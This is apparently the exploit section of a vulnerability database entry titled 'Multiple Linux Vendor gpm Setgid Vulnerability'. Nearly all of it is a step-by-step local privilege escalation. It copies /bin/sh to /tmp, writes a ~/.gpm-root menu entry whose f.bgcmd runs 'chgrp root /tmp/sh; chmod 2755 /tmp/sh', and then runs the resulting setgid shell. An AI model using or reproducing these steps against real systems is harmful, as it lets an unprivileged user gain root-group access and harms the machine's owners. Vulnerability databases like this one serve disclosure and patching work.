• info
• discussion
• exploit
• solution
• references

Multiple Linux Vendor gpm Setgid Vulnerability

cp /bin/sh /tmp
create a .gpm-root file in ~ with the following:
button 1 {
name "create a setgid shell"
"setgid shell" f.bgcmd "chgrp root /tmp/sh; chmod 2755 /tmp/sh"
}

click control-left mouse button, and click "setgid shell"
execute /tmp/sh